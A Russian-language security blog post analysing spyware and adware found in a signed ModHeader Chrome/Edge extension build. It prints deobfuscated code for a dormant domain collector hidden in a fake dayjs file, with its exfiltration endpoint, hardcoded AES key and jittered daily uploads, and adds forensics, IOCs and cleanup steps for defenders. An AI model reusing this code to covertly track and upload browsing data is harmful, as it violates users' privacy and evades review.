Перейти к содержимому
HackIndex logo

HackIndex

Разбор вредоносного ПО ModHeader: спящий шпион, который удалил Google

Последнее обновление июль 12, 2026 13 min read 195 views

Более 800 000 человек доверяли этому расширению. А потом однажды утром Chrome отключил его и пометил как вредоносное ПО. При этом Google не дал никаких объяснений. Ни слова о том, что расширение делало, и ни слова о том, какие данные оказались под угрозой.

Это расширение — ModHeader, популярный инструмент для разработчиков, который переписывает HTTP-заголовки на каждом сайте, который вы посещаете. Так что пометка о вредоносном ПО здесь — это серьёзно. В ответ мы достали удалённую сборку с диска и провели её реверс. Этот разбор вредоносного ПО ModHeader проходит через всё дело целиком: скрытый пайплайн, форензику и индикаторы компрометации.

TL;DR

Сначала краткая версия. Детали — ниже.

  • Что: Сборка ModHeader (idgpnmonknjnojddfkpgkljpfnnfcklj, v7.0.18) несла в себе скрытый шпионский SDK. Примечательно, что этот ID — официальная страница ModHeader, а файлы имели подписи Chrome Web Store.

  • Поведение: Он собирает домены, которые вы посещаете. Затем шифрует список по AES-GCM. Наконец, раз в день отправляет данные через POST на api.stanfordstudies.com/app/log.

  • Тайник: Вредоносные хелперы лежат в файле с именем dayjs.min-*.js. Иными словами, полезная нагрузка маскируется под библиотеку для работы с датами.

  • Состояние: Сборщик поставляется в спящем режиме, за пустым allowlist ($w = []). Тем не менее, эндпоинт, ключ и планировщик — всё на месте.

  • Command-and-control: Мониторить нечего. Выгрузка односторонняя, поэтому сервер не может отправлять команды в ответ.

  • Ещё и рекламное ПО: Помимо шпионского ПО, оно открывает рекламную вкладку при каждом обновлении и показывает встроенную рекламу. Это срабатывает даже на управляемых корпоративных машинах.

  • Охват: У ModHeader 800 000+ пользователей в Chrome плюс большая база в Edge. Поскольку нагрузка едет на официальной странице, в зону риска попадает вся установленная база.

  • Разведка: Хост для эксфильтрации прячется за фальшивой витриной «Stanford Studies - Research» и почтовым ящиком на Lark. Кроме того, несколько слабых сигналов указывают на китаеязычного оператора.

  • Форензика: На исследованной машине шпионское ПО ни разу не сработало. Однако расширение локально накопило полные HTTP-заголовки всего браузинга.

Читайте дальше — как мы установили каждый из этих фактов.

Контекст: почему пометка ModHeader как вредоносного важна

ModHeader — популярный инструмент. Разработчики используют его для изменения HTTP-заголовков запросов и ответов. Поэтому ему нужен широкий доступ к вашему трафику. Такой доступ нормален для его задачи. Но он же делает расширение высокоценной мишенью.

Доверенное расширение, помеченное как вредоносное, — это интересный случай. Либо клон рядится под бренд, либо доверенное расширение теперь несёт внедрённую нагрузку. Оба паттерна часто встречаются в атаках на цепочку поставок через браузерные расширения. Поэтому этот разбор вредоносного ПО ModHeader трактует пометку как зацепку, а не как приговор.

Где лежат файлы

Удалённое расширение всё ещё оставалось на диске. Точный путь зависит от браузера и операционной системы. В Chrome смотрите здесь:

Chrome
  macOS   : ~/Library/Application Support/Google/Chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0
  Windows : %LOCALAPPDATA%\Google\Chrome\User Data\<Profile>\Extensions\idgpnmonknjnojddfkpgkljpfnnfcklj\7.0.18_0
  Linux   : ~/.config/google-chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0

Edge поставляет ту же нагрузку под другим ID. Так что проверьте и там:

Edge (extension ID opgbiafapkbbnbnjcdomjaghbckfkglc)
  macOS   : ~/Library/Application Support/Microsoft Edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc
  Windows : %LOCALAPPDATA%\Microsoft\Edge\User Data\<Profile>\Extensions\opgbiafapkbbnbnjcdomjaghbckfkglc
  Linux   : ~/.config/microsoft-edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc

ModHeader не опубликован в Firefox, так что дополнения Mozilla для проверки нет.

Первый взгляд: manifest и разрешения

Мы начали с манифеста. Разрешения быстро показывают радиус поражения.

// manifest.json (сокращённо)
{
  "name": "ModHeader - Modify HTTP headers",
  "version": "7.0.18",
  "author": "modhader@@",                       // обратите внимание на опечатку
  "manifest_version": 3,
  "content_scripts": [{ "js": ["src/js/service/content_script_vite.js"], "matches": ["<all_urls>"] }],
  "host_permissions": ["<all_urls>"],
  "permissions": ["alarms", "contextMenus", "storage", "webRequest", "declarativeNetRequest", "scripting"],
  "update_url": "https://clients2.google.com/service/update2/crx"
}

Набор разрешений широкий. В него входят <all_urls>, webRequest, declarativeNetRequest, scripting и content script на каждой странице. Для инструмента работы с заголовками такой охват ожидаем. Но это же означает, что вредоносная сборка уже владеет вашим веб-трафиком. Примечательно, что поле author содержит modhader@@. Эта опечатка повторяется в коде как modhader-tool-root.

Улика: домен не от вендора

Дальше мы вытащили все URL-литералы из бандлов. Это самый быстрый шаг триажа для обфусцированного кода.

┌──(kali㉿kali)-[~]
└─$ grep -rohE "https?://[a-zA-Z0-9._~:/?#@!$&'()*+,;=%-]+" assets | sort -u

Большинство результатов указывают на modheader.com — настоящего вендора. Однако один хост выбивается из ряда:

  • https://api.stanfordstudies.com/app/log

Домену «Stanford studies» нечего делать внутри инструмента для заголовков. Более того, /app/log — типичный путь для приёма данных. Так что за эту ниточку и потянули. Он живёт в одном файле: assets/src/background-94ad634d.js.

Обфускация: вредоносное ПО ModHeader спрятано в фальшивом dayjs

Нагрузка импортирует свои хелперы из того, что выглядит как библиотека для дат.

import { e as sf, f as af, h as Za, s as u0 } from "../dayjs.min-6a736ee8.js";

Но эти экспорты не имеют никакого отношения к датам. Это рабочие хелперы шпионского ПО.

// внутри файла с именем dayjs.min-*.js
const cl = () => {                                   // экспортируется как sf  ->  идентификатор браузера
  const h = navigator.userAgent.toLowerCase();
  return h.indexOf("edg/") !== -1 ? "edge"
       : h.indexOf("chrome") !== -1 ? "chrome"
       : h.indexOf("firefox") !== -1 ? "firefox" : "other";
};
function fl(h) { try { return new URL(h).host } catch (i) {} }         // экспортируется как af -> извлечь host
const hl = h => new Promise(i => setTimeout(i, h));                     // экспортируется как u0 -> sleep
const vl = h => new Date(h.getFullYear(), h.getMonth(), h.getDate());  // экспортируется как Za -> полночь

Это намеренное отвлечение внимания. Ревьюер бегло смотрит на импорты, видит «dayjs» и идёт дальше. В результате хелперы вредоносного ПО ModHeader проходят ревью прямо на виду.

Как работает пайплайн эксфильтрации вредоносного ПО ModHeader

Схема ниже показывает весь поток — от браузинга до выгрузки. Все символы ниже — реальные минифицированные имена. За каждым блоком следует деобфусцированный псевдокод.


Пайплайн эксфильтрации вредоносного ПО ModHeader: сбор доменов, шифрование AES-GCM и ежедневная выгрузка на api.stanfordstudies.com

Шаг 1: идентичность и криптоматериал

Сначала нагрузка настраивает ключ, эндпоинт и отпечаток (fingerprint).

let qo; // CryptoKey
(async () => {
  qo = await Ho.importKeyFromBase64("aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE");
})();

const qw = "https://api.stanfordstudies.com/app/log";
const $w = [];              // allowlist браузеров  (пустой -> спящий режим)
const Yw = "mod盐header";    // соль отпечатка, обратите внимание на CJK-символ 盐 ("соль")

const Hw = async () => {    // fp = SHA-256(текущее время как строка)
  const r = new Date().getTime().toString();
  return await kr(r, "SHA-256");
};

Здесь важны два момента.

  1. «Шифрование» — это обфускация, а не защита. Ключ AES-GCM поставляется в открытом виде. Поэтому любой, у кого есть расширение, может расшифровать нагрузку. Его единственная задача — скрыть тело от беглого сетевого анализа.

  2. Отпечаток — это стабильный трекинговый ID. Это SHA-256(Date.now()). Код генерирует его один раз, а затем сохраняет. В итоге он работает как случайный постоянный идентификатор.

Шаг 2: собрать host каждой навигации

Дальше сборщик записывает домены. Он индексирует их по зашифрованному значению.

async function Zw(url) {
  const domain = af(url);                       // new URL(url).host
  if (domain === globalThis.lastChangeDomain) return;
  globalThis.lastChangeDomain = domain;
  const { settingDB, domainDB, fp, aesIv } = await jw();
  const enc = await Ho.encrypt(qo, domain, aesIv);   // шифрует hostname по AES-GCM
  const count = await domainDB.get(enc, 0);
  await domainDB.put(enc, count + 1);                // зашифрованный домен -> счётчик посещений
  await Qw(domainDB, settingDB, aesIv);              // возможно, выгрузить
}

Итак, хранилище сопоставляет каждый зашифрованный hostname со счётчиком. Коротко говоря, оператор узнаёт, какие сайты вы посещаете и как часто. Полные URL и пути здесь не собираются. Только host.

Шаг 3: ежедневная выгрузка с джиттером по отпечатку

Затем код решает, когда отправлять. Он выгружает максимум раз в день. Более того, он ждёт фиксированного часа, уникального для вашего отпечатка.

async function zw() {
  const r = await kr(`${globalThis.fp}${Yw}`, "SHA-256", 10);       // десятичный дайджест
  const n = (Number(BigInt(r) % BigInt(60*60*8)) + 60*60*7) / 3600; // час в диапазоне [7, 15)
  const now = new Date();
  return Math.round((now - Za(now)) / 1000) / 3600 > n;             // только после часа этой установки
}

Этот джиттер придуман хитро. Каждая жертва выгружает данные в разное время. Как следствие, трафик труднее заметить на сетевом мониторе. После успешной отправки код очищает локальное хранилище, чтобы убрать следы.

Шаг 4: kill switch — это пустой allowlist

Наконец, вся цепочка висит на жизненном цикле вкладок. Однако одна проверка останавливает её намертво.

chrome.tabs.onUpdated.addListener(async (r, n, i) => { await Jw(r, n, i); });

async function Jw(tab, change, info) {
  const browser = sf();
  if ($w.indexOf(browser) === -1 || change.status !== "loading") return; // <-- воротца
  const url = change.url || info.url;
  if (!url) return;
  await Zw(url);                                          // записать домен
}

Здесь $w пуст. Поэтому $w.indexOf(browser) всегда равно -1. В результате проверка всегда делает return, и Zw никогда не выполняется. В этой сборке сборщик присутствует, но спит. Поскольку $w — захардкоженная константа, для его включения нужна новая версия. Иными словами, настоящий триггер — это автообновление.

Чего вредоносное ПО ModHeader не делает

Точность в отношении отсутствующего тоже важна. Поэтому мы проверили худшие сценарии поведения и не нашли их.

  • Нет удалённого выполнения кода. Нет eval, нет злоупотребления new Function и нет import("https://...").

  • Нет кражи учётных данных в пути эксфильтрации. Выгрузка несёт hostname'ы, отпечаток и тип браузера. Она не отправляет ни куки, ни содержимое страниц.

  • Куки только измеряются, но не отправляются. Метрическая рутина читает document.cookie.length для UI с оценкой хранилища. Значение куки никогда не покидает страницу.

  • Захваченные заголовки остаются локально. Слушатели заголовков пишут в локальное хранилище для собственного представления истории расширения.

Это было ещё и рекламное ПО: рекламные вкладки при каждом обновлении

Шпионское ПО спало. Рекламное — нет. Пользователи сообщали, что рекламные вкладки открывались снова и снова, даже на заблокированных корпоративных машинах. Код объясняет, почему.

При каждом обновлении расширение принудительно открывает новую активную вкладку на партнёрскую сеть.

chrome.runtime.onInstalled.addListener(async (r) => {
  // ... также задаёт uninstall-URL, который пингует extensions-hub.com ...
  if (r.reason === "install") {
    // вкладка install открывается только когда нет управляемых (корпоративных) профилей
    if (!managedProfiles?.length) Jv({ url: "https://www.extensions-hub.com/partners/installed/?name=ModHeader" });
  }
  if (r.reason === "update") {
    // здесь такой проверки нет, поэтому это срабатывает при КАЖДОМ обновлении, включая управляемые машины
    chrome.tabs.create({ url: "https://www.extensions-hub.com/partners/updated/?name=ModHeader", active: true });
  }
});

Два момента бросаются в глаза.

  • Каждое обновление порождает вкладку. Расширения обновляются тихо и часто. Поэтому рекламная вкладка возвращается снова и снова, что совпадает с сообщениями.

  • Корпоративные машины не в безопасности. Вкладка install пропускается при наличии управляемых профилей. Однако у вкладки update такой проверки нет. Поэтому корпоративные развёртывания всё равно получают рекламные вкладки.

Есть и второй рекламный канал внутри самого расширения. Попап запрашивает настройки рекламы у вендора и может показывать или закрывать рекламу.

GET https://modheader.com/api/ad-settings
GET https://modheader.com/api/close-ad

Интерфейс даже прямо описывает модель: "Реклама временно приостановлена. Чтобы убрать рекламу навсегда, перейдите на платный план или переключитесь на ограниченный план, чтобы отказаться от рекламы."

Итак, расширение несло заявленное рекламное ПО поверх скрытого шпионского. Это две разные вещи. Рекламное ПО видимо и раздражает, а шпионское молчит. Вместе они объясняют и жалобы пользователей, и пометку о вредоносном ПО.

Форензика: срабатывало ли вредоносное ПО ModHeader вообще?

IndexedDB расширения пережил удаление. Он весил около 178 МБ.

~/Library/Application Support/Google/Chrome/<Profile>/IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb

Поэтому мы просканировали его на маркеры выгрузки.

┌──(kali㉿kali)-[~]
└─$ strings -a *.ldb *.log | grep -aoiE "stanfordstudies|/app/log|lastUploadDate|uploadRecord"

Результаты были однозначны:

  • stanfordstudies дал ноль совпадений по всем 178 МБ.

  • lastUploadDate и uploadRecord дали ноль совпадений.

  • Хранилище доменов temp было фактически пустым.

Следовательно, на этом профиле сборщик ни разу не записал домен и ни разу не выгружал данные. Это в точности соответствует спящим воротцам $w = []. Коротко говоря, ваш список посещённых доменов не покинул машину.

Сюрприз на 178 МБ: локальный склад заголовков

Однако кое-что всё же заняло 178 МБ. Собственная функция «истории» расширения хранила полные заголовки запросов и ответов для каждой страницы. Доминирующими ключами были requestHeaders, responseHeaders, details и tabStartTime.

Эти данные никогда не покидали диск. Тем не менее они чувствительны в состоянии покоя. Заголовки часто содержат токены Authorization, сессионные куки и внутренние URL. Так что удалите это хранилище независимо от того, срабатывало ли шпионское ПО.

Где command-and-control?

Многие читатели задают справедливый вопрос. Есть ли C2-канал для мониторинга? Коротко — нет.

Выгрузка строго односторонняя. Тело ответа на fetch никогда не читается. Нет ни .json(), ни .text(), ни проверки .ok на ответе. Более того, рабочие константы захардкожены и никогда не переприсваиваются с сервера. Поэтому api.stanfordstudies.com — это drop box, а не контроллер. Он не может ставить расширению задачи.

Настоящий канал управления — это автообновление расширения. Чтобы включить спящий сборщик, оператору нужно выпустить новую версию. Это ровно тот вектор, который сторы нейтрализуют, когда снимают расширение с публикации.

Разведка домена: этот эндпоинт вредоносного ПО ModHeader действительно вредоносный?

Мы не остановились на коде. Мы профилировали домен эксфильтрации пассивной и активной разведкой. Вот что раскрывает сама инфраструктура.

api.stanfordstudies.com — это замаскированный эндпоинт эксфильтрации

Во-первых, наименование обманчиво. Публичная витрина на www.stanfordstudies.com носит заголовок «Stanford Studies - Research». При этом у неё нет никакой связи со Стэнфордским университетом. Более того, страница — пустышка. Нет исследовательской организации, нет политики конфиденциальности, нет контактов. Настоящее исследование по сбору данных, напротив, раскрывает всё это.

Во-вторых, API-хост ведёт себя как drop box, а не как веб-сайт.

  • Домен создан 2022-05-09 через Squarespace. Его WHOIS скрыт приватностью.

  • Его почта проходит через larksuite.com (Lark / Feishu). Это указывает на китаеязычного оператора. Примечательно, что это совпадает со строкой («соль»), зашитой в код.

  • api.stanfordstudies.com резолвится на единственный хост AWS EC2 (3.147.61.167, регион us-east-2).

  • Проба корневого адреса завершилась таймаутом. Значит, хост отвечает только на своём пути приёма, а не на обычный веб-трафик.

  • Наконец, у urlscan.io есть записи по точному эндпоинту api.stanfordstudies.com/app/log. Есть и сканы хоста, восходящие к ноябрю 2023 года.

В совокупности это скрытый эндпоинт приёма данных, наряженный под академическое исследование. Поэтому мы оцениваем его как вредоносный.

Откуда взялась инфраструктура

Затем мы проследили хостинг и его историю. Результат — типовая, скрытая приватностью схема с более длинным прошлым, чем следует из бумаг.

  • Хост. Эндпоинт работает на одном инстансе AWS EC2, 3.147.61.167, с обратным DNS ec2-3-147-61-167.us-east-2.compute.amazonaws.com. Это помещает его в AWS us-east-2 (Колумбус, Огайо, AS16509 Amazon).

  • Старше, чем кажется. WHOIS указывает дату создания в 2022 году. Однако certificate transparency показывает сертификаты для домена ещё с 2017 года. То есть имя старше текущей регистрации.

  • Всё ещё живой. Новейший сертификат выпущен в марте 2026 года. При этом urlscan.io фиксировал эндпоинт /app/log в течение 2025 года и снова в июле 2026 года.

  • Настоящая операция. Помимо api и www, у домена есть поддомены dev, devlog и devos. Это поддерживаемая dev- и ops-инфраструктура, а не одноразовая.

Тем не менее WHOIS регистратора скрыт приватностью, а серверы сидят на общих диапазонах AWS. Поэтому след обрывается, не доходя до имени.

Контекст цепочки поставок: это официальный ID ModHeader

Одна деталь повышает ставки. Идентификатор расширения idgpnmonknjnojddfkpgkljpfnnfcklj — это официальная страница ModHeader, обслуживающая более 800 000 пользователей. Кроме того, сборка поставлялась с подписями Chrome Web Store (_metadata/verified_contents.json). Поскольку Chrome отказывается запускать изменённые файлы, проанализированный код — это подписанная дистрибуция, а не локально модифицированный клон.

Однако только по бинарнику мы не можем доказать, кто добавил нагрузку. Это может отражать передачу прав, внедрённый SDK монетизации или решение самого вендора. Такой паттерн хорошо задокументирован в индустрии. Поэтому мы приводим доказательства и оставляем вопрос авторства открытым.

Вердикт по каждому домену

Домен

Роль во вредоносном ПО ModHeader

Инфраструктура

Вердикт

api.stanfordstudies.com

Приём зашифрованного сбора доменов

AWS EC2, корень недоступен, маскировка под «Stanford», почта на Lark

Вредоносный

www.extensions-hub.com

Рекламное ПО: рекламная вкладка при каждом обновлении

AWS S3 + CloudFront, партнёрский SaaS, общий для нескольких расширений

Рекламное ПО, нарушающее приватность

modheader.com

Облачная синхронизация вендора (показана для контраста)

AWS + Google Workspace, прозрачно

Легитимный

Охват и атрибуция: кто под ударом и кто за этим стоит?

Сколько пользователей под ударом

Радиус поражения большой, потому что это основная страница. Он охватывает и два браузера.

  • Chrome: 800 000+ установок, опубликовано под именем «ModHeader».

  • Edge: то же расширение поставляется под ID opgbiafapkbbnbnjcdomjaghbckfkglc, со своей большой базой установок. Microsoft удалила его из стора Edge Add-ons 2026-07-03.

  • Firefox: официального дополнения ModHeader не существует, поэтому пользователи Firefox не затронуты.

  • Рейтинг: 2,91 звезды из 1226 голосов. Это необычно мало для давно работающего dev-инструмента.

  • Указанные языки: английский и упрощённый китайский (zh-CN).

  • Последнее обновление страницы: 2026-07-01, что совпадает с проанализированной сборкой v7.0.18.

Низкий рейтинг не случаен. Недавние отзывы уже отмечают расширение за поведение рекламного ПО (adware) и партнёрскую рекламу. Однако эта реклама заявлена, и расширение предлагает opt-out. Так что это отдельная, видимая претензия. Сборщик stanfordstudies.com — полная противоположность. Он скрытный, зашифрован и не даёт ни уведомления, ни opt-out. Так что не путайте эти две вещи: заявленная реклама — это проблема доверия, а скрытый сбор доменов — это и есть настоящее шпионское ПО.

Сигналы об угрозном акторе (низкая уверенность)

Оператора мы можем набросать лишь в общих чертах. Важно: мы не называем никакую группу, и ни один из этих сигналов не является доказательством.

  • Почта на Lark. Домен эксфильтрации маршрутизирует почту через larksuite.com (Lark / Feishu) — набор, распространённый среди китаеязычных команд.

  • Китайская строка в коде. Соль отпечатка содержит символ , что означает «соль».

  • Китаеязычная поверхность. Страница поставляется с локалью на упрощённом китайском, а content script отдельно обрабатывает baidu.com.

  • Фронт под ложным флагом. Страница «Stanford Studies» заимствует имя авторитетного американского университета. Очевидно, это отвлечение, а не реальная связь.

В совокупности эти сигналы слабо указывают на китаеязычного оператора. Тем не менее инфраструктура сидит на AWS, а WHOIS скрыт приватностью. Поэтому мы не можем привязать её к конкретному актору только по открытым источникам.

Оценка воздействия

Вот риск с одного взгляда.

Вектор

Статус в v7.0.18

Раскрытые данные

Серьёзность

Сбор доменов на stanfordstudies.com

Спящий; ни разу не сработал

Посещённые hostname'ы, отпечаток, браузер

Высокая возможность

Рекламные вкладки + встроенная реклама

Активно

Новая вкладка при каждом обновлении, включая управляемые машины

Средняя (нежелательно)

Локальная история заголовков

Активна, только локально

Полные заголовки всего браузинга

Средняя в покое

Охват разрешений

Удерживается

Чтение/изменение всего HTTP-трафика

Высокий потенциал

Проще говоря, на этой машине ничего не было эксфильтровано. Но вредоносное ПО ModHeader несло полный, снабжённый ключом и эндпоинтом шпионский пайплайн. От активации его отделяло одно изменение кода. При этом оно складировало чувствительные данные заголовков локально. Такое сочетание — разумное основание для тейкдауна.

Обнаружение и устранение

Если вы затронутый пользователь

Выполните эти шаги по порядку.

  1. Убедитесь, что браузер отключил расширение. Chrome и Edge обычно делают это автоматически.

  2. Удалите оставшиеся директории хранилища, перечисленные ниже.

  3. Заблокируйте и логируйте DNS для api.stanfordstudies.com.

  4. Переустанавливайте инструмент для заголовков только из источника, которому доверяете.

Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj
IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb
Local Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Sync Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Managed Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj

В Edge те же папки лежат под Microsoft Edge/ вместо Google/Chrome/, а ID расширения — opgbiafapkbbnbnjcdomjaghbckfkglc.

Если вы защищаете парк устройств

Используйте эти хантинг-запросы и эвристики.

  • Грепните распакованные директории расширений на IOC-строки ниже.

  • Настройте алерт на любое расширение, которое делает POST непрозрачного зашифрованного тела на домен не от вендора.

  • Помечайте рабочие хелперы, экспортируемые из файла вендоренной библиотеки, как code smell.

Индикаторы компрометации

Используйте эти IOC, чтобы искать тот же SDK вредоносного ПО ModHeader в других местах.

Сеть

api.stanfordstudies.com          (эксфильтрация spyware: POST /app/log)
www.extensions-hub.com           (adware: рекламная вкладка при каждом обновлении)
modheader.com/api/ad-settings    (adware: конфиг встроенной рекламы)

Расширение

Chrome ID  : idgpnmonknjnojddfkpgkljpfnnfcklj
Edge ID    : opgbiafapkbbnbnjcdomjaghbckfkglc
Firefox    : no official ModHeader add-on on AMO
Name       : ModHeader - Modify HTTP headers
Version    : 7.0.18

Статические строки

Захардкоженный ключ AES-GCM : aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE
Соль отпечатка             : mod盐header   (содержит U+76D0 盐)
Эндпоинт эксфильтрации      : https://api.stanfordstudies.com/app/log

Файлы (Vite-хеши этой сборки)

assets/src/background-94ad634d.js    (нагрузка)
assets/dayjs.min-6a736ee8.js         (замаскированные хелперы)

Карта символов

Для справки — карта соответствия минифицированных имён и их значений.

Минифицированное

Значение

qw

URL эксфильтрации api.stanfordstudies.com/app/log

$w

воротца allowlist браузеров (пусто = спящий режим)

Yw

соль отпечатка mod盐header

qo

импортированный ключ AES-GCM

Hw

fp = SHA-256(Date.now()) ID установки

Zw

записать посещённый домен

Qw

решение о выгрузке + очистка при успехе

zw

воротца по времени суток на основе отпечатка

sf / af / Za / u0

идентификатор браузера / host / полночь / sleep

Дополнительное чтение

Для более широкого контекста о том, как доверенные расширения становятся враждебными, смотрите следующие внешние отчёты.

Этот разбор — статический анализ плюс форензика на диске одной установленной сборки. Мы не заявляем никакой атрибуции. Если вы можете подтвердить, обслуживал ли официальный Web Store именно эту сборку, свяжитесь с HackIndex Research.